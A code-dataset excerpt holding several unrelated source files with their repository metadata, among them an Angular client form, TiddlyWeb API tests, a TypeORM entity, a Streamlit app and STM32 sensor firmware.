familiar.Prov) this.familiaresForm.patchValue(familiar); } addFamiliar() { this.mostrar = true; this.add = true; this.crearFormularioFamiliar(); } ListarProvincias(prov: string) { this.provincias = [] this.distritos = [] this.clienteForm.controls.Prov.setValue('') this.ubigeoService.ListarProvincia(prov).subscribe(resp => this.provincias = resp) } ListarProvinciasF(prov: string) { this.provinciasF = [] this.distritosF = [] this.familiaresForm.controls.Prov.setValue('') this.ubigeoService.ListarProvincia(prov).subscribe(resp => this.provinciasF = resp) } ListarDistrito(codD: string) { this.clienteForm.controls.Dist.setValue('') this.ubigeoService.ListarDistrito(codD).subscribe(resp => this.distritos = resp) } ListarDistritoF(codD: string) { this.familiaresForm.controls.Dist.setValue('') this.ubigeoService.ListarDistrito(codD).subscribe(resp => this.distritosF = resp) } listarUbigeo(codP: string, codD: string) { this.ListarProvincias(codP); this.ListarDistrito(codD); } listarUbigeoF(codP: string, codD: string) { this.ListarProvinciasF(codP); this.ListarDistritoF(codD); } AddOrUpdateFamiliar() { this.familiaresForm.controls.idcliente.setValue(this.idcliente); let familiar: IFamiliares = this.familiaresForm.getRawValue(); if (this.add) { this.clienteService.AgregarFamiliar(familiar).subscribe( res => { if (res.Success) { this._snackBar.open(res.Message, '', { duration: 3 * 1000 }); this.listarFamiliares(this.idcliente); } else { this._snackBar.open(res.Message, '', { duration: 3 * 1000 }); } } ) } else { this.clienteService.ActualizarFamiliar(familiar).subscribe( res => { if (res.Success) { this._snackBar.open(res.Message, '', { duration: 3 * 1000 }); this.listarFamiliares(this.idcliente); } else { this._snackBar.open(res.Message, '', { duration: 3 * 1000 }); } } ) } this.mostrar = false; } ActualizarCliente() { let cliente = this.clienteForm.getRawValue(); this.clienteService.put(cliente).subscribe( res => { if (res.Success) { this._snackBar.open(res.Message, '', { duration: 3 * 1000 }); } else { this._snackBar.open(res.Message, '', { duration: 3 * 1000 }); } } ) } crearFormularioCliente() { this.clienteForm = this.formBuilder.group({ IdCliente: new FormControl(0), DocIdentidad: new FormControl('', Validators.required), Nombres: new FormControl('', Validators.required), Direccion: new FormControl('', Validators.required), Telefono: new FormControl(''), Correo: new FormControl('', Validators.required), FechaNaci: new FormControl(''), Observaciones: new FormControl(''), Referencia: new FormControl(''), Sexo: new FormControl('', Validators.required), Dpto: new FormControl('', Validators.required), Prov: new FormControl('', Validators.required), Dist: new FormControl('', Validators.required), idpais: new FormControl(0, Validators.required), Colegio: new FormControl(''), Preferencias: new FormControl(''), contrasena: new FormControl(''), items: this.formBuilder.array([]) }) } crearFormularioFamiliar() { this.familiaresForm = this.formBuilder.group({ idFamliar: new FormControl(''), DocIdentidad: new FormControl('', Validators.required), Nombres: new FormControl('', Validators.required), Direccion: new FormControl('', Validators.required), Telefono: new FormControl('', Validators.required), Celular: new FormControl('', Validators.required), correo: new FormControl('', Validators.required), Observaciones: new FormControl(''), Referencia: new FormControl(''), Dpto: new FormControl('', Validators.required), Prov: new FormControl('', Validators.required), Dist: new FormControl('', Validators.required), sexo: new FormControl('', Validators.required), Parentesco: new FormControl('', Validators.required), idcliente: new FormControl(''), persona: new FormControl(''), Predeterminado: new FormControl(''), Ocupacion: new FormControl(''), FechaNaciFam: new FormControl('', Validators.required), PredeterminadoFact: new FormControl(''), }) } crearFormularioEncuesta() { this.encuestaForm = this.formBuilder.group({ IdCliente: new FormControl(0), idPublicidad: new FormControl(0, Validators.required), ComoEntero: new FormControl(''), AccesoConsultorio: new FormControl(''), RecibioTerapiaAnt: new FormControl('', Validators.required), TerapiaAnt: new FormControl(''), RecibioOTerapiaAnt: new FormControl('', Validators.required), OtraTerapiaAnt: new FormControl(''), TiempoTerapia: new FormControl('', Validators.required), MotivoDejTerapiaAnt: new FormControl('', Validators.required), Facilllegar: new FormControl('', Validators.required), }) } RegistrarEncuesta() { let fllegar = this.encuestaForm.controls.Facilllegar.value this.encuestaForm.controls.Facilllegar.setValue(fllegar == '0' ? false: true) let rotraenc = this.encuestaForm.controls.RecibioTerapiaAnt.value this.encuestaForm.controls.RecibioTerapiaAnt.setValue(rotraenc == '0' ? false: true) let rotraence = this.encuestaForm.controls.RecibioOTerapiaAnt.value this.encuestaForm.controls.RecibioOTerapiaAnt.setValue(rotraence == '0' ? false: true) let encuesta: IEncuestas = this.encuestaForm.getRawValue() encuesta.IdCliente = this.idcliente this.clienteService.RegistrarEncuesta(encuesta).subscribe( res => { if (res.Success) { this.ConsultarEncuesta(); this._snackBar.open(res.Message, '', { duration: 3 * 1000 }); } else { this._snackBar.open(res.Message, '', { duration: 3 * 1000 }); } } ) } }
32.215488
92
0.658236
afdffc8efe1f06e1eb63a23331a16b36f464f053
12,605
py
Python
test/test_web_bag.py
funkyeah/tiddlyweb
2346e6c05aa03ae9c8f2687d9ef9e46103267a8e
[ "BSD-3-Clause" ]
null
null
null
test/test_web_bag.py
funkyeah/tiddlyweb
2346e6c05aa03ae9c8f2687d9ef9e46103267a8e
[ "BSD-3-Clause" ]
null
null
null
test/test_web_bag.py
funkyeah/tiddlyweb
2346e6c05aa03ae9c8f2687d9ef9e46103267a8e
[ "BSD-3-Clause" ]
null
null
null
""" Test that GETting a bag can list the tiddlers. """ import httplib2 import urllib import simplejson from fixtures import muchdata, reset_textstore, _teststore, initialize_app from tiddlyweb.model.bag import Bag from tiddlyweb.stores import StorageInterface policy_dict = dict( read=[u'chris',u'jeremy',u'GUEST'], write=[u'chris',u'jeremy'], create=[u'chris',u'jeremy'], delete=[u'chris'], manage=[], owner=u'chris') def setup_module(module): initialize_app() reset_textstore() module.store = _teststore() muchdata(module.store) def test_get_bag_tiddler_list_default(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/bag0/tiddlers', method='GET') assert response['status'] == '200', 'response status should be 200 is %s' % response['status'] assert response['content-type'] == 'text/html; charset=UTF-8', 'response content-type should be text/html;charset=UTF-8 is %s' % response['content-type'] assert content.count('<li>') == 10 def test_get_bag_tiddler_list_404(): """ A request for the tiddlers in a non existent bag gives a 404. """ http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/bag99/tiddlers', method='GET') assert response['status'] == '404' assert '(' not in content def test_get_bag_tiddler_list_text(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/bag0/tiddlers.txt', method='GET') assert response['status'] == '200', 'response status should be 200 is %s' % response['status'] assert response['content-type'] == 'text/plain; charset=UTF-8', 'response content-type should be text/plain; charset=UTF-8 is %s' % response['content-type'] assert len(content.rstrip().split('\n')) == 10, 'len tiddlers should be 10 is %s' % len(content.split('\n')) def test_get_bag_tiddler_list_html(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/bag0/tiddlers.html', method='GET') assert response['status'] == '200', 'response status should be 200 is %s' % response['status'] assert response['content-type'] == 'text/html; charset=UTF-8', 'response content-type should be text/html;charset=UTF-8 is %s' % response['content-type'] assert content.count('<li>') == 10 def test_get_bag_tiddler_list_415(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/bag0/tiddlers.gif', method='GET') assert response['status'] == '415', 'response status should be 415 is %s' % response['status'] def test_get_bag_tiddler_list_html_default(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/bag0/tiddlers', method='GET', headers={'Accept': 'text/html'}) assert response['status'] == '200', 'response status should be 200 is %s' % response['status'] assert response['content-type'] == 'text/html; charset=UTF-8', 'response content-type should be text/html;charset=UTF-8 is %s' % response['content-type'] assert content.count('<li>') == 10 def test_get_bag_tiddler_list_filtered(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/bag0/tiddlers.txt?select=title:tiddler8', method='GET') assert response['status'] == '200' assert response['last-modified'] == 'Fri, 23 May 2008 03:03:00 GMT' assert len(content.rstrip().split('\n')) == 1, 'len tiddlers should be 1 is %s' % len(content.rstrip().split('\n')) def test_get_bag_tiddler_list_bogus_filter(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/bag0/tiddlers.txt?sort=-monkey', method='GET') assert response['status'] == '400' assert 'malformed filter' in content def test_get_bags_default(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags', method='GET') assert response['status'] == '200', 'response status should be 200 is %s' % response['status'] assert response['content-type'] == 'text/html; charset=UTF-8', 'response content-type should be text/html;charset=UTF-8 is %s' % response['content-type'] assert content.count('<li>') == 30 assert content.count('bags/') == 30 def test_get_bags_txt(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags.txt', method='GET') assert response['status'] == '200', 'response status should be 200 is %s' % response['status'] assert response['content-type'] == 'text/plain; charset=UTF-8', 'response content-type should be text/plain; charset=UTF-8 is %s' % response['content-type'] assert len(content.rstrip().split('\n')) == 30, 'len bags should be 32 is %s' % len(content.rstrip().split('\n')) def test_get_bags_html(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags.html', method='GET') assert response['status'] == '200', 'response status should be 200 is %s' % response['status'] assert response['content-type'] == 'text/html; charset=UTF-8', 'response content-type should be text/html;charset=UTF-8 is %s' % response['content-type'] assert content.count('<li>') == 30 assert content.count('bags/') == 30 def test_get_bags_unsupported_neg_format(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags.gif', method='GET') assert response['status'] == '415', 'response status should be 415 is %s' % response['status'] def test_get_bags_unsupported_format(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags.jpeg', method='GET') assert response['status'] == '415', 'response status should be 415 is %s' % response['status'] def test_get_bags_json(): """ Uses extension. """ http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags.json', method='GET') assert response['status'] == '200', 'response status should be 200 is %s' % response['status'] assert response['content-type'] == 'application/json; charset=UTF-8', \ 'response content-type should be application/json; charset=UTF-8 is %s' % response['content-type'] info = simplejson.loads(content) assert type(info) == list assert len(info) == 30 def test_get_bags_wiki(): """ Doesn't support wiki. """ http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags.wiki', method='GET') assert response['status'] == '415' def test_get_bags_unsupported_neg_format_with_accept(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags.gif', method='GET', headers={'Accept': 'text/html'}) assert response['status'] == '200', 'response status should be 200 is %s' % response['status'] assert response['content-type'] == 'text/html; charset=UTF-8', 'response content-type should be text/html;charset=UTF-8 is %s' % response['content-type'] def test_get_bag_tiddler_list_empty(): """ A request for the tiddlers in an empty bag gives a 200, empty page. """ bag = Bag('bagempty'); store.put(bag) http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/bagempty/tiddlers.json', method='GET') assert response['status'] == '200' results = simplejson.loads(content) assert len(results) == 0 response, content = http.request('http://our_test_domain:8001/bags/bagempty/tiddlers.html', method='GET') def test_put_bag(): """ PUT a new bag to the server. """ json_string = simplejson.dumps(dict(policy=policy_dict)) http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/bagpuss', method='PUT', headers={'Content-Type': 'application/json'}, body=json_string) location = response['location'] assert response['status'] == '204' assert location == 'http://our_test_domain:8001/bags/bagpuss' response, content = http.request(location, method='GET', headers={'Accept': 'application/json'}) assert response['status'] == '200' assert 'etag' in response etag = response['etag'] info = simplejson.loads(content) assert info['policy']['delete'] == policy_dict['delete'] response, content = http.request('http://our_test_domain:8001/bags/bagpuss.json', method='GET', headers={'if-none-match': etag}) assert response['status'] == '304', content response, content = http.request('http://our_test_domain:8001/bags/bagpuss.json', method='GET', headers={'if-none-match': etag + 'foo'}) assert response['status'] == '200', content def test_put_bag_bad_json(): """ PUT a new bag to the server. """ json_string = simplejson.dumps(dict(policy=policy_dict)) json_string = json_string[0:-1] http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/bagpuss', method='PUT', headers={'Content-Type': 'application/json'}, body=json_string) assert response['status'] == '400' assert 'unable to put bag' in content assert 'unable to make json into' in content def test_delete_bag(): """ PUT a new bag to the server and then DELETE it. """ json_string = simplejson.dumps(dict(policy={})) http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/deleteme', method='PUT', headers={'Content-Type': 'application/json'}, body=json_string) location = response['location'] assert response['status'] == '204' assert location == 'http://our_test_domain:8001/bags/deleteme' response, content = http.request(location, method='DELETE') assert response['status'] == '204' response, content = http.request(location, method='GET', headers={'Accept':'application/json'}) assert response['status'] == '404' def test_put_bag_wrong_type(): """ PUT a new bag to the server. """ json_string = simplejson.dumps(dict(policy=policy_dict)) http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/bagpuss', method='PUT', headers={'Content-Type': 'text/plain'}, body=json_string) assert response['status'] == '415' def test_get_bag_tiddlers_constraints(): http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/bag0/tiddlers', method='GET') assert response['status'] == '200' _put_policy('bag0', dict(policy=dict(read=['NONE']))) response, content = http.request('http://our_test_domain:8001/bags/bag0/tiddlers', method='GET') assert response['status'] == '403' assert 'may not read' in content def test_roundtrip_unicode_bag(): http = httplib2.Http() encoded_bag_name = '%E3%81%86%E3%81%8F%E3%81%99' bag_name = urllib.unquote(encoded_bag_name).decode('utf-8') bag_content = {'policy':{'read':['a','b','c','GUEST']}} body = simplejson.dumps(bag_content) response, content = http.request('http://our_test_domain:8001/bags/%s' % encoded_bag_name, method='PUT', body=body, headers={'Content-Type': 'application/json'}) assert response['status'] == '204' bag = Bag(bag_name) bag = store.get(bag) assert bag.name == bag_name response, content = http.request('http://our_test_domain:8001/bags/%s.json' % encoded_bag_name, method='GET') bag_data = simplejson.loads(content) assert response['status'] == '200' assert bag_data['policy']['read'] == ['a','b','c','GUEST'] def test_no_delete_store(): """ XXX: Not sure how to test this. We want to test for StoreMethodNotImplemented raising HTTP400. But it is hard to inject in a false store. """ pass def _put_policy(bag_name, policy_dict): """ XXX: This is duplicated from test_web_tiddler. Clean up! """ json = simplejson.dumps(policy_dict) http = httplib2.Http() response, content = http.request('http://our_test_domain:8001/bags/%s' % bag_name, method='PUT', headers={'Content-Type': 'application/json'}, body=json) assert response['status'] == '204'
38.784615
160
0.659897
a37991716cb2b962a967a0117cdf5eebe69f04b0
1,001
ts
TypeScript
src/products/suggestions/suggestion.entity.ts
ormus395/product-feedback-app-server
b8df1371cc46a59c3e5b608df54e9a0066e01ac9
[ "MIT" ]
null
null
null
src/products/suggestions/suggestion.entity.ts
ormus395/product-feedback-app-server
b8df1371cc46a59c3e5b608df54e9a0066e01ac9
[ "MIT" ]
null
null
null
src/products/suggestions/suggestion.entity.ts
ormus395/product-feedback-app-server
b8df1371cc46a59c3e5b608df54e9a0066e01ac9
[ "MIT" ]
null
null
null
import { Entity, Column, PrimaryGeneratedColumn, ManyToOne, OneToMany, } from 'typeorm'; import { Product } from '../product.entity'; import { User } from '../../users/user.entity'; import { SuggestionType } from '../suggestion-types/suggestion-type.entity'; import { Comment } from '../comments/comment.entity'; @Entity() export class Suggestion { @PrimaryGeneratedColumn() id: number; @Column() title: string; @Column() body: string; @Column({ default: '0', }) votes: number; @ManyToOne(() => Product, (product) => product.suggestions, { onDelete: 'CASCADE', }) product: Product; @ManyToOne( () => SuggestionType, (suggestionType) => suggestionType.suggestions, { onDelete: 'CASCADE' }, ) suggestionType: SuggestionType; @ManyToOne(() => User, (user) => user.suggestions, { onDelete: 'CASCADE' }) user: User; @OneToMany(() => Comment, (comment) => comment.suggestion, { onDelete: 'CASCADE', }) comments: Comment[]; }
20.428571
77
0.639361
446a5ce2298071061ac718b5d5ed0f0c88bb6b81
1,059
py
Python
webapp_full/app.py
agelesspartners/longhack-app
89cfd4efc4a71c4689afaa19fb63186640ff1ab1
[ "MIT" ]
null
null
null
webapp_full/app.py
agelesspartners/longhack-app
89cfd4efc4a71c4689afaa19fb63186640ff1ab1
[ "MIT" ]
null
null
null
webapp_full/app.py
agelesspartners/longhack-app
89cfd4efc4a71c4689afaa19fb63186640ff1ab1
[ "MIT" ]
1
2022-02-22T22:09:52.000Z
2022-02-22T22:09:52.000Z
import streamlit as st import awesome_streamlit as ast import pages.info import pages.liver import pages.heart import pages.drugs PAGES = { "Information": pages.info, "Compounds Database": pages.drugs, "Liver Disease Prediction": pages.liver, "Heart Disease Prediction": pages.heart, } def main(): st.set_page_config(page_title = "Ageless Partners | Disease prediction") st.sidebar.markdown( """ [<img src="https://i2.wp.com/agelesspartners.com/wp-content/uploads/2021/10/age-software-logo.jpg" style="max-width: 170px">](https://agelesspartners.com/ageless-software/) """, unsafe_allow_html=True) #st.sidebar.title("Navigation") selection = st.sidebar.radio("", list(PAGES.keys())) page = PAGES[selection] with st.spinner(f"Loading {selection} ..."): ast.shared.components.write_page(page) st.sidebar.title("") st.sidebar.info( """ This app is built by **Ageless Partners** for **biohackers**. """ ) if __name__ == "__main__": main()
28.621622
180
0.657224
7497ad8a9f78441061a19799facf505575d3472e
10,448
c
C
Code PlatformIO/1-sensor-control/src/main.c
RobbeElsermans/GestureControl
c66f4d19fbf9ad785f4a8c721e7c6f8ba8425f4f
[ "MIT" ]
null
null
null
Code PlatformIO/1-sensor-control/src/main.c
RobbeElsermans/GestureControl
c66f4d19fbf9ad785f4a8c721e7c6f8ba8425f4f
[ "MIT" ]
null
null
null
Code PlatformIO/1-sensor-control/src/main.c
RobbeElsermans/GestureControl
c66f4d19fbf9ad785f4a8c721e7c6f8ba8425f4f
[ "MIT" ]
null
null
null
/* USER CODE BEGIN Header */ /** ****************************************************************************** * @file : main.c * @brief : Main program body ****************************************************************************** * @attention * * Copyright (c) 2022 STMicroelectronics. * All rights reserved. * * This software is licensed under terms that can be found in the LICENSE file * in the root directory of this software component. * If no LICENSE file comes with this software, it is provided AS-IS. * ****************************************************************************** */ /* USER CODE END Header */ /* Includes ------------------------------------------------------------------*/ #include "main.h" #include "i2c.h" #include "usart.h" #include "gpio.h" /* Private includes ----------------------------------------------------------*/ /* USER CODE BEGIN Includes */ #include "stm32f3xx_hal.h" #include <sys/unistd.h> // STDOUT_FILENO, STDERR_FI #include <errno.h> #include "stdbool.h" #include "vl53lx_api.h" #include "calibrationData.h" //bevat methodes en instellingen om de sensoren te calibreren. #include "GestureDetectObject.h" #include "GestureDetect.h" #include "SensorFunctions.h" /* USER CODE END Includes */ /* Private typedef -----------------------------------------------------------*/ /* USER CODE BEGIN PTD */ /* USER CODE END PTD */ /* Private define ------------------------------------------------------------*/ /* USER CODE BEGIN PD */ // Toggle for data collection #define DATACOLLECTION // Toggle voor calibrate //#define CALIBRATE /* USER CODE END PD */ /* Private macro -------------------------------------------------------------*/ /* USER CODE BEGIN PM */ /* USER CODE END PM */ /* Private variables ---------------------------------------------------------*/ /* USER CODE BEGIN PV */ volatile bool isReady[amountSensor] = {false, false, false,false,false}; volatile bool hasRead[amountSensor] = {false, false, false, false, false}; #ifdef DATACOLLECTION long timerDataCollection = 0; int timerDataCollectionTimeout = 20; // aantal milliseconden per meeting #endif // Aanmaken sensor definities // Sensor_Definition_t ToF_sensor = {XSHUT_3, 0}; // Resultaat van de meetingen die de afstand, status en timestamp bevat voor amountSensorUsed aantal keer aangemaakt struct resultaat resultaat[amountSensorUsed]; bool objectPresent = false; bool prevObjectPresent = false; // Commando enum waarmee we de commando's opslaan commands commando = NONE; // Timer die het commando voor timerCommandTimeout seconden aanhoud static float timerCommand = 0; static bool timerCommandSet = false; // Start in false state static int timerCommandTimeout = 2000; // 2 seconden //Mean values int leftDistance = 0; int ToF_sensorDistance = 0; int rightDistance = 0; /* USER CODE END PV */ /* Private function prototypes -----------------------------------------------*/ void SystemClock_Config(void); /* USER CODE BEGIN PFP */ /* USER CODE END PFP */ /* Private user code ---------------------------------------------------------*/ /* USER CODE BEGIN 0 */ /* USER CODE END 0 */ /** * @brief The application entry point. * @retval int */ int main(void) { /* USER CODE BEGIN 1 */ #pragma region initializing /* USER CODE END 1 */ /* MCU Configuration--------------------------------------------------------*/ /* Reset of all peripherals, Initializes the Flash interface and the Systick. */ HAL_Init(); /* USER CODE BEGIN Init */ /* USER CODE END Init */ /* Configure the system clock */ SystemClock_Config(); /* USER CODE BEGIN SysInit */ // Define de sensor objecten amountSensorUsed keer. VL53L3CX_Object_t sensor[amountSensorUsed]; /* USER CODE END SysInit */ /* Initialize all configured peripherals */ MX_GPIO_Init(); #ifdef env2 MX_I2C2_Init(); #endif MX_USART1_UART_Init(); /* USER CODE BEGIN 2 */ HAL_GPIO_WritePin(XSHUT_0_GPIO_Port, XSHUT_0_Pin, 0); HAL_GPIO_WritePin(XSHUT_1_GPIO_Port, XSHUT_1_Pin, 0); HAL_GPIO_WritePin(XSHUT_2_GPIO_Port, XSHUT_2_Pin, 0); HAL_GPIO_WritePin(XSHUT_3_GPIO_Port, XSHUT_3_Pin, 0); HAL_GPIO_WritePin(XSHUT_4_GPIO_Port, XSHUT_4_Pin, 0); HAL_Delay(20); // Omdat we in RAM de objecten aanmaken (en niet initializeren) gaat er random waardes insteken. // Isinitialized moet 0 zijn om verder te kunnen. sensor[ToF_sensor.id].IsInitialized = 0; CUSTOM_VL53L3CX_I2C_Init(); //De sensoren initialiseren Init_Sensor(&sensor[ToF_sensor.id], ToF_sensor.gpioPin); HAL_Delay(2); #pragma endregion #pragma region kalibratie //Als de drukknop SW_1 actief is, wordt er gekalibreerd //if (HAL_GPIO_ReadPin(SW_1_GPIO_Port, SW_1_Pin)) if(true) { getCalibrate(&sensor[ToF_sensor.id], ToF_sensor.id); //VL53L3CX_Result_t tempResult; Start_Sensor(&sensor[ToF_sensor.id], ToF_sensor.gpioPin); while (1) { getData(&sensor[ToF_sensor.id], &ToF_sensor, resultaat, (uint8_t *)isReady); HAL_Delay(1); HAL_Delay(200); printf("ToF_sensor %5d, %2d\r\n", (int)resultaat[ToF_sensor.id].distance, resultaat[ToF_sensor.id].status); } } else { setCalibrate(&sensor[ToF_sensor.id], ToF_sensor.id);; } #pragma endregion Start_Sensor(&sensor[ToF_sensor.id], ToF_sensor.gpioPin); // Start_Sensor(&sensor[left.id], left.gpioPin); // Start_Sensor(&sensor[right.id], right.gpioPin); /* USER CODE END 2 */ /* Infinite loop */ /* USER CODE BEGIN WHILE */ while (1) { #pragma region collectData isReady[ToF_sensor.id] = getData(&sensor[ToF_sensor.id], &ToF_sensor, &resultaat[ToF_sensor.id], (uint8_t *)isReady); setMeanVal(ToF_sensor.id, resultaat[ToF_sensor.id].distance); #pragma endregion #pragma region calcMean // Wanneer er geen commando aanwezig is, kijken ofdat er een gesture is ToF_sensorDistance = getMean(ToF_sensor.id); #pragma endregion checkResetTimer(); HAL_GPIO_WritePin(LED_3_GPIO_Port, LED_3_Pin, objectPresent); /* USER CODE END WHILE */ /* USER CODE BEGIN 3 */ HAL_GPIO_TogglePin(LED_4_GPIO_Port, LED_4_Pin); #ifdef DATACOLLECTION // DataCollection if (((HAL_GetTick() - timerDataCollection) > timerDataCollectionTimeout)) { printf("C%d\r\n", ToF_sensorDistance); timerDataCollection = HAL_GetTick(); } #endif // printf("%d,%d\r\n", leftDistance, resultaat[left.id].status); // printf("L%d, C%d, R%d\r\n", leftDistance, ToF_sensorDistance, rightDistance); HAL_Delay(1); } /* USER CODE END 3 */ } /** * @brief System Clock Configuration * @retval None */ void SystemClock_Config(void) { RCC_OscInitTypeDef RCC_OscInitStruct = {0}; RCC_ClkInitTypeDef RCC_ClkInitStruct = {0}; RCC_PeriphCLKInitTypeDef PeriphClkInit = {0}; /** Initializes the RCC Oscillators according to the specified parameters * in the RCC_OscInitTypeDef structure. */ RCC_OscInitStruct.OscillatorType = RCC_OSCILLATORTYPE_HSI | RCC_OSCILLATORTYPE_HSE; RCC_OscInitStruct.HSEState = RCC_HSE_ON; RCC_OscInitStruct.HSIState = RCC_HSI_ON; RCC_OscInitStruct.HSICalibrationValue = RCC_HSICALIBRATION_DEFAULT; RCC_OscInitStruct.PLL.PLLState = RCC_PLL_NONE; if (HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK) { Error_Handler(); } /** Initializes the CPU, AHB and APB buses clocks */ RCC_ClkInitStruct.ClockType = RCC_CLOCKTYPE_HCLK | RCC_CLOCKTYPE_SYSCLK | RCC_CLOCKTYPE_PCLK1 | RCC_CLOCKTYPE_PCLK2; RCC_ClkInitStruct.SYSCLKSource = RCC_SYSCLKSOURCE_HSE; RCC_ClkInitStruct.AHBCLKDivider = RCC_SYSCLK_DIV1; RCC_ClkInitStruct.APB1CLKDivider = RCC_HCLK_DIV1; RCC_ClkInitStruct.APB2CLKDivider = RCC_HCLK_DIV1; if (HAL_RCC_ClockConfig(&RCC_ClkInitStruct, FLASH_LATENCY_0) != HAL_OK) { Error_Handler(); } PeriphClkInit.PeriphClockSelection = RCC_PERIPHCLK_USART1 | RCC_PERIPHCLK_USART2 | RCC_PERIPHCLK_I2C1 | RCC_PERIPHCLK_I2C2; PeriphClkInit.Usart1ClockSelection = RCC_USART1CLKSOURCE_PCLK2; PeriphClkInit.Usart2ClockSelection = RCC_USART2CLKSOURCE_PCLK1; PeriphClkInit.I2c1ClockSelection = RCC_I2C1CLKSOURCE_HSI; PeriphClkInit.I2c2ClockSelection = RCC_I2C2CLKSOURCE_HSI; if (HAL_RCCEx_PeriphCLKConfig(&PeriphClkInit) != HAL_OK) { Error_Handler(); } } /* USER CODE BEGIN 4 */ void HAL_GPIO_EXTI_Callback(uint16_t GPIO_Pin) { switch (GPIO_Pin) { case GPIOI_0_Pin: if (!hasRead[0]) { hasRead[0] = true; } else isReady[0] = true; break; case GPIOI_1_Pin: if (!hasRead[1]) { hasRead[1] = true; } else isReady[1] = true; break; case GPIOI_2_Pin: if (!hasRead[2]) { hasRead[2] = true; } else isReady[2] = true; break; case GPIOI_3_Pin: if (!hasRead[3]) { hasRead[3] = true; } else isReady[3] = true; break; case GPIOI_4_Pin: if (!hasRead[4]) { hasRead[4] = true; } else isReady[4] = true; break; default: break; } } int _write(int file, char *data, int len) { if ((file != STDOUT_FILENO) && (file != STDERR_FILENO)) { errno = EBADF; return -1; } // arbitrary timeout 1000 HAL_StatusTypeDef status = HAL_UART_Transmit(&huart1, (uint8_t *)data, len, 1000); // return # of bytes written - as best we can tell return (status == HAL_OK ? len : 0); } void HAL_I2C_SlaveRxCpltCallback(I2C_HandleTypeDef *hi2c) { HAL_I2C_Slave_Transmit(&hi2c2, &commando, sizeof(commando), 50); } /* USER CODE END 4 */ /** * @brief This function is executed in case of error occurrence. * @retval None */ void Error_Handler(void) { /* USER CODE BEGIN Error_Handler_Debug */ /* User can add his own implementation to report the HAL error return state */ __disable_irq(); while (1) { } /* USER CODE END Error_Handler_Debug */ } #ifdef USE_FULL_ASSERT /** * @brief Reports the name of the source file and the source line number * where the assert_param error has occurred. * @param file: pointer to the source file name * @param line: assert_param error line source number * @retval None */ void assert_failed(uint8_t *file, uint32_t line) { /* USER CODE BEGIN 6 */ /* User can add his own implementation to report the file name and line number, ex: printf("Wrong parameters value: file %s on line %d\r\n", file, line) */ /* USER CODE END 6 */ } #endif /* USE_FULL_ASSERT */
26.858612
125
0.649024
f442e276420dd3edd3f3078781b937d477a284e5
1,274
ts
TypeScript
client/src/utils/getUriWithParamsConfig.test.ts
Envoy89/ReactPokemons
a2fddc895f1e3d281b7437b37b0ee0bac3587abb
[ "MIT" ]
null
null
null
client/src/utils/getUriWithParamsConfig.test.ts
Envoy89/ReactPokemons
a2fddc895f1e3d281b7437b37b0ee0bac3587abb
[ "MIT" ]
null
null
null
client/src/utils/getUriWithParamsConfig.test.ts
Envoy89/ReactPokemons
a2fddc895f1e3d281b7437b37b0ee0bac3587abb
[ "MIT" ]
null
null
null
import getUrlWithParamsConfig from './getUriWIthParamsConfig'; describe('getUriWithParamsConfig', () => { test('Должна принимать два аргумента "getPokemons" и пустой объект, на выходе получить объект с полями pathname, host, protocol и пустым query', () => { const url = getUrlWithParamsConfig('getPokemons', {}); expect(url).toEqual({ protocol: 'http', host: 'zar.hosthot.ru', pathname: '/api/v1/pokemons', query: {}, }); }); test('Должна принимать два аргумента "getPokemons" и {name: "Pikachu"}, на выходе получить объект с полями pathname, host, protocol и query с полем name = "Pikachu"', () => { const url = getUrlWithParamsConfig('getPokemons', { name: 'Pikachu' }); expect(url).toEqual({ protocol: 'http', host: 'zar.hosthot.ru', pathname: '/api/v1/pokemons', query: { name: 'Pikachu', }, }); }); test('Должна принимать два аргумента "getPokemons" и {id: 24}, на выходе получить объект с полями pathname, host, protocol и пустым query', () => { const url = getUrlWithParamsConfig('getPokemon', { id: 25 }); expect(url).toEqual({ protocol: 'http', host: 'zar.hosthot.ru', pathname: '/api/v1/pokemon/25', query: {}, }); }); });
32.666667
176
0.622449
f23caa7f6b7bfa9ab9478ce8fee6b482d10631be
1,308
php
PHP
tests/FA/Tests/Middleware/SettingsTest.php
noomox/flaming-archer
85f8668a2e45ce792b0ef99d285ba57a52214b10
[ "MIT" ]
21
2015-02-23T04:54:30.000Z
2018-03-29T18:40:11.000Z
tests/FA/Tests/Middleware/SettingsTest.php
aunglinn/flaming-archer
85f8668a2e45ce792b0ef99d285ba57a52214b10
[ "MIT" ]
2
2021-04-13T15:45:20.000Z
2021-12-02T17:56:12.000Z
tests/FA/Tests/Middleware/SettingsTest.php
aunglinn/flaming-archer
85f8668a2e45ce792b0ef99d285ba57a52214b10
[ "MIT" ]
17
2015-02-25T20:27:47.000Z
2020-11-06T11:01:38.000Z
